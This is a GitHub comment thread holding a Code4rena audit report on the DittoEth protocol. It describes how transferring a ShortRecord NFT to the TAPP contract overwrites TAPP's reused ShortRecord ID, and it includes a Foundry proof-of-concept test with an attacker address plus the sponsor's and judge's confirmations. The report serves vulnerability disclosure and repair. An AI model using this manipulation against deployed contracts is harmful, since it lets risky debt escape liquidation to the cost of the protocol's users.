c4-bot-8 commented 5 months ago

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/facets/PrimaryLiquidationFacet.sol#L244-L247 https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibSRUtil.sol#L124

Vulnerability details

Impact

Attackers can make it so that risky debts are not liquidated, and unliquidated risky debts can accumulate over the long term.

Proof of Concept

ShortRecord of TAPP can also be liquidated. If all ercDebt is liquidated, LibShortRecord.deleteShortRecord is called. It moves the C.SHORT_STARTING_ID SR of TAPP to the reusing ID list and close it.

Later, when user's ShortRecord is liquidated, LibShortRecord.fillShortRecord is called to change the status of C.SHORT_STARTING_ID to FullyFilled and update the value in TAPP's C.SHORT_STARTING_ID ShortRecord.

However, LibShortRecord.fillShortRecord does not move the C.SHORT_STARTING_ID that has been moved to the reusing ID list back to the active state list.

function _fullorPartialLiquidation(MTypes.PrimaryLiquidation memory m) private {
    STypes.VaultUser storage TAPP = s.vaultUser[m.vault][address(this)];
    uint88 decreaseCol = min88(m.totalFee + m.ethFilled, m.short.collateral);

@>  if (m.short.ercDebt == m.ercDebtMatched) {
        // Full liquidation
        LibSRUtil.disburseCollateral(m.asset, m.shorter, m.short.collateral, m.short.dethYieldRate, m.short.updatedAt);
@>      LibShortRecord.deleteShortRecord(m.asset, m.shorter, m.short.id);
        ...
    } else {
        ...
        // TAPP absorbs leftover short, unless it already owns the short
        if (m.loseCollateral && m.shorter != address(this)) {
            // Delete partially liquidated short
            LibShortRecord.deleteShortRecord(m.asset, m.shorter, m.short.id);
            // Absorb leftovers into TAPP short
@>          LibShortRecord.fillShortRecord(
                m.asset,
@>              address(this),
@>              C.SHORT_STARTING_ID,
                SR.FullyFilled,
                m.short.collateral,
                m.short.ercDebt,
                s.asset[m.asset].ercDebtRate,
                m.short.dethYieldRate
            );
        }
    }

    ...
}

If you mint a ShortRecord as NFT and transfer it, the recipient creates a new ShortRecord. If you send an NFT to TAPP, C.SHORT_STARTING_ID can be reused and overwrite the original value.

function transferShortRecord(address from, address to, uint40 tokenId) internal {
    ...

@>  uint8 id = LibShortRecord.createShortRecord(
        asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
    );

    nft.owner = to;
    nft.shortRecordId = id;
    nft.shortOrderId = 0;
}

This is PoC. Add it to LiquidationPrimary.t.sol.

function test_PoCTappSRManipulate() public { // same with test_PrimaryPartialShort1ThenPartialShort2ThenFullShortTappThenPartialShort3LiquidateCratioScenario3, but added the code at the bottom.
    /////Partial Liquidation 1/////
    (LiquidationStruct memory m,) =
        partiallyLiquidateShortPrimary({scenario: PrimaryScenarios.CRatioBelow110BlackSwan, caller: receiver});

    uint256 collateral = DEFAULT_PRICE.mulU88(DEFAULT_AMOUNT).mul(6 ether) - m.ethFilled - m.tappFee - m.gasFee - m.callerFee;
    uint256 ercDebt = DEFAULT_AMOUNT.mulU88(0.5 ether) - m.ercDebtSocialized;
    uint256 ercDebtAsset = DEFAULT_AMOUNT.mulU88(0.5 ether) + DEFAULT_AMOUNT; // 1 from dummy short
    uint256 ercDebtRate = m.ercDebtRate;

    // check balance after liquidate
    checkShortsAndAssetBalance({
        _shorter: tapp,
        _shortLen: 1,
        _collateral: collateral,
        _ercDebt: ercDebt,
        _ercDebtAsset: ercDebtAsset,
        _ercDebtRateAsset: ercDebtRate,
        _ercAsset: DEFAULT_AMOUNT //1 from short minting
    });

    // Bring TAPP balance to 0 for easier calculations
    vm.stopPrank();
    uint88 balanceTAPP = diamond.getVaultUserStruct(VAULT.ONE, tapp).ethEscrowed;
    depositEth(tapp, DEFAULT_AMOUNT.mulU88(DEFAULT_PRICE) - balanceTAPP);
    vm.prank(tapp);
    createLimitBid(DEFAULT_PRICE, DEFAULT_AMOUNT);

    /////Partial Liquidation 2/////
    _setETH(4000 ether); // Back to default price
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // Short Record C.SHORT_STARTING_ID gets re-used
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, receiver); // Set up partial liquidation
    // Partial Liquidation
    _setETH(730 ether); // c-ratio 1.095
    vm.prank(receiver);
    (uint256 gasFee,) = diamond.liquidate(asset, sender, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);

    // Assert updated TAPP short
    STypes.ShortRecord memory short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertEq(short.collateral, collateral * 2 + m.gasFee - gasFee); // almost exactly the same, just diff gas fee
    assertEq(short.ercDebt, ercDebt * 2);
    ercDebtAsset = diamond.getAssetStruct(asset).ercDebt + DEFAULT_AMOUNT / 2; // add back partial liquidation
    ercDebtRate += m.ercDebtSocialized.div(ercDebtAsset - DEFAULT_AMOUNT); // entire collateral was removed in denominator
    assertApproxEqAbs(short.ercDebtRate, (ercDebtRate + m.ercDebtRate) / 2, MAX_DELTA_SMALL);

    ///////Full Liquidation///////
    uint88 amount = short.ercDebt + short.ercDebt.mulU88(diamond.getAssetStruct(asset).ercDebtRate - short.ercDebtRate);
    fundLimitAskOpt(DEFAULT_PRICE, amount, receiver); // Set up full liquidation
    vm.prank(receiver);
    diamond.liquidate(asset, tapp, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);

    // Assert TAPP short fully liquidated and closed
    short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertTrue(short.status == SR.Closed);

    // Bring TAPP balance to 0 for easier calculations
    balanceTAPP = diamond.getVaultUserStruct(VAULT.ONE, tapp).ethEscrowed;
    vm.prank(tapp);
    createLimitBid(DEFAULT_PRICE, balanceTAPP.divU88(DEFAULT_PRICE));
    fundLimitAskOpt(DEFAULT_PRICE, balanceTAPP.divU88(DEFAULT_PRICE), receiver);

    //////Partial Liquidation 3//////
    _setETH(4000 ether); // Back to default price
    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // Short Record C.SHORT_STARTING_ID gets re-used
    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT / 2, receiver); // Set up partial liquidation

    // Partial Liquidation
    _setETH(730 ether); // c-ratio 1.095
    vm.prank(receiver);
    (gasFee,) = diamond.liquidate(asset, sender, C.SHORT_STARTING_ID, shortHintArrayStorage, 0);

    // Assert recreated TAPP short
    short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertEq(short.collateral, collateral + m.gasFee - gasFee); // exactly the same, except for diff gas fee
    assertEq(short.ercDebt, ercDebt); // exactly the same
    assertApproxEqAbs(short.ercDebtRate, diamond.getAssetStruct(asset).ercDebtRate, MAX_DELTA_SMALL);
    assertTrue(short.status == SR.FullyFilled);

    // --- PoC start ----
    // C.SHORT_STARTING_ID is still in reuseable id list
    STypes.ShortRecord memory head = getShortRecord(tapp, C.HEAD);
    assertEq(head.prevId, C.SHORT_STARTING_ID);

    address attacker = address(0x1337);
    _setETH(4000 ether); // Back to default price
    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, attacker); 

    // make short record NFT
    vm.prank(attacker);
    diamond.mintNFT(asset, 2, 0);

    // before transfer, the TAPP C.SHORT_STARTING_ID result is same
    short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertEq(short.collateral, collateral + m.gasFee - gasFee); // exactly the same, except for diff gas fee
    assertEq(short.ercDebt, ercDebt); // exactly the same
    assertApproxEqAbs(short.ercDebtRate, diamond.getAssetStruct(asset).ercDebtRate, MAX_DELTA_SMALL);
    assertTrue(short.status == SR.FullyFilled);

    // transfer NFT to TAPP, this will overwrite C.SHORT_STARTING_ID SR of TAPP (create new SR -> reuse id C.SHORT_STARTING_ID)
    vm.prank(attacker);
    diamond.transferFrom(attacker, tapp, 1);

    // after transfer, the TAPP C.SHORT_STARTING_ID SR is manipulated
    short = getShortRecord(tapp, C.SHORT_STARTING_ID);
    assertNotEq(short.collateral, collateral + m.gasFee - gasFee);
    assertNotEq(short.ercDebt, ercDebt);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Prevents ShortRecord NFT from being sent to TAPPs.

Assessed type

Other

c4-pre-sort commented 5 months ago

raymondfam marked the issue as sufficient quality report

c4-pre-sort commented 5 months ago

raymondfam marked the issue as primary issue

raymondfam commented 5 months ago

Will let sponsor review the coded POC and its validity.

c4-sponsor commented 5 months ago

ditto-eth (sponsor) confirmed

ditto-eth commented 5 months ago

great find solution seems to work too

c4-judge commented 4 months ago

hansfriese marked the issue as satisfactory